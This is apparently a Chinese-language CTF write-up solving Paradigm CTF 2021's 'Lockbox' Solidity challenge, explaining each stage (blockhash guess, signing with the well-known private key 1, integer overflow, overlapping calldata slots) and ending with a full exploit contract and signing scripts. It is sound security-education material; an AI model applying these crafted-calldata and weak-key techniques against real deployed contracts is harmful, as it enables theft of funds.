Paradigm CTF 2021——Lockbox

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Lockbox

利用modifier，套娃。

modifier _() {    _;
    assembly {        //第一步：拿到全局变量Stage, 判断如果stage的值没有更新则返回        let next := sload(next_slot)        if iszero(next) {            return(0, 0)        }
        //第二步：调用Stage上的getSelector()函数，将结果存储在内存中        // keccak(abi.encode("getSelector"))[0:0x04] = 0x034899bc        mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000)        pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04))
        //第三步：调用Stage合约，函数选择器为getSelector()函数的返回值，参数为CALLDATA[0x04:]        calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04))        switch call(gas(), next, 0, 0, calldatasize(), 0, 0)            //第四步：如果调用失败，则REVERT            case 0 {                returndatacopy(0x00, 0x00, returndatasize())                revert(0x00, returndatasize())            }            case 1 {                returndatacopy(0x00, 0x00, returndatasize())                return(0x00, returndatasize())            }    }   }

从Entrypointto等到Stage1to Stage2，Stage5我们会将相同的 calldata 传递给所有调用。所以一个 calldata 解决题中的6个条件

Entrypoint

随机数预测，传入 bytes4(blockhash(block.number – 1)) 即可。

function solve(bytes4 guess) public _ {    require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?");
    solved = true;}

Stage 1

需要获得 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf 的私钥，这是一个非常出名的地址，其私钥为：0x0000000000000000000000000000000000000000000000000000000000000001

function solve(uint8 v, bytes32 r, bytes32 s) public _ {    require(ecrecover(keccak256("stage1"), v, r, s) == 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, "who are you?");}

注意：在一般的web3.js中，在eth-sign时，会在签名的消息前加上x19Ethereum Signed Message + len(msg)一段bytecode。故需使用不加入此消息的eth-sign函数库。

起初使用we3py

from eth_account import Account, messagesfrom eth_account.messages import encode_defunct
from web3 import Web3, HTTPProvider
rpc = "https://mainnet.infura.io/v3/0aec7fd42e0a40f28dd6c1a185f7d3e6"web3 = Web3(HTTPProvider(rpc))
messageshash = web3.toHex(web3.sha3(text='stage1'))print(messageshash)private_key_hex = "0x0000000000000000000000000000000000000000000000000000000000000001"
signed_message = Account.signHash(message_hash=messageshash, private_key=private_key_hex)
print("signature =", signed_message)
print("r = ", web3.toHex(signed_message.r))print("s = ", web3.toHex(signed_message.s))print("v = ", web3.toHex(signed_message.v))

计算得出结果：

r =  0x370df20998cc15afb44c2879a3c162c92e703fc4194527fb6ccf30532ca1dd3bs =  0x35b3f2e2ff583fed98ff00813ddc7eb17a0ebfc282c011946e2ccbaa9cd3ee67v =  0x1b

但是由于此结果不能满足Stage3所以使用原始ecdsaSign来签名。

const ethereumjs_util = require("ethereumjs-util");const { randomBytes } = require('crypto');const { ecdsaSign } = require('ethereum-cryptography/secp256k1')
const privateKeyStr = '0x0000000000000000000000000000000000000000000000000000000000000001';const hashStr = '0x' + (ethereumjs_util.keccak(Buffer.from('stage1'), 256)).toString('hex');
const privateKey = Buffer.from(privateKeyStr.slice(2), "hex");const hash = Buffer.from(hashStr.slice(2), "hex");
while (true) {  // node_modules /@types/secp256k1/index.d.ts  const { signature, recid } = ecdsaSign(hash, privateKey, { data: randomBytes(32) });
  v = recid + 27;  r = Buffer.from(signature.slice(0, 32))  s = Buffer.from(signature.slice(32, 64))
  if (v != 28) {    continue;  }
  const rBN = '0x' + r.toString('hex');  const sBN = '0x' + s.toString('hex');
  // stage3 require: out of order  if (sBN < rBN) {    continue;  }
  // // stage3 require: this is a bit odd  if (sBN.slice(-2) % 2 != 0) {    continue;  }
  break;}
console.log('0x' + v.toString(16));console.log('0x' + r.toString('hex'));console.log('0x' + s.toString('hex'));

得到答案：

v = 0x1cr = 0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43s = 0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e98

Stage 2

function solve(uint16 a, uint16 b) public _ {    require(a > 0 && b > 0 && a + b < a, "something doesn't add up");}

取了两个storagede uint。

Stage 3

function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ {    require(keys[idx % 4] == lock[idx % 4], "key did not fit lock");
    for (uint i = 0; i < keys.length - 1; i++) {        require(keys[i] < keys[i + 1], "out of order");    }
    for (uint j = 0; j < keys.length; j++) {        require((keys[j] - lock[j]) % 2 == 0, "this is a bit odd");    }}

这时的slot部署是这样的：

slot0    idx      guess v  slot1    keys[0]        r  slot2    keys[1]        s slot3    keys[2]          slot4    keys[3]             slot5    lock[0]slot6    lock[1]

这里有三个条件

keys[idx % 4] == lock[idx % 4]由于idx = 0xff1c，所以idx % 4 = 0即keys[0] == lock[0]。
keys[i] < keys[i + 1]要求呈递增排列。
(keys[j] – lock[j]) % 2 == 0对应位置的差值必须是偶数，两个偶数相减肯定是偶数，两个奇数相减肯定也是偶数。

Stage 4

function solve(bytes32[6] choices, uint choice) public _ {    require(choices[choice % 6] == keccak256(abi.encodePacked("choose")), "wrong choice!");}

求在前6块slot中部署一个abi.encodePacked(“choose”)，这里还剩下slot3和slot4为空，由于需要满足差值为偶数，所以只能放在slot4。

Stage 5

function solve() public _ {    require(msg.data.length < 256, "a little too long");}

要求整个data的长度不能超过256。

所以综上，得出攻击代码。

import "./Setup.sol";
contract lockBoxExploit {    Entrypoint public entrypoint;    constructor(address _setup) public {        entrypoint = lockBoxSetup(_setup).entrypoint();    }    function exploit() public {        bytes memory data = abi.encodePacked(            entrypoint.solve.selector,            uint(uint16(0xff1c) | (uint256(bytes32(bytes4(blockhash(block.number - 1))))),            bytes32(0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43), //r            bytes32(0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e98), //s            bytes32(0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e9a), //满足差值偶数            bytes32(keccak256('choose')),            bytes32(0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43), // =r            bytes32(0x0000000000000000000000000000000000000000000000000000000000000004)  //做的choice 也就是指向abi.encodePakced("choose")的指针        );        uint size = data.length;        address entry = address(entrypoint);        assembly{            switch call(gas(),entry,0,add(data,0x20),size,0,0)            case 0 {                returndatacopy(0x00,0x00,returndatasize())                revert(0, returndatasize())            }        }    }
}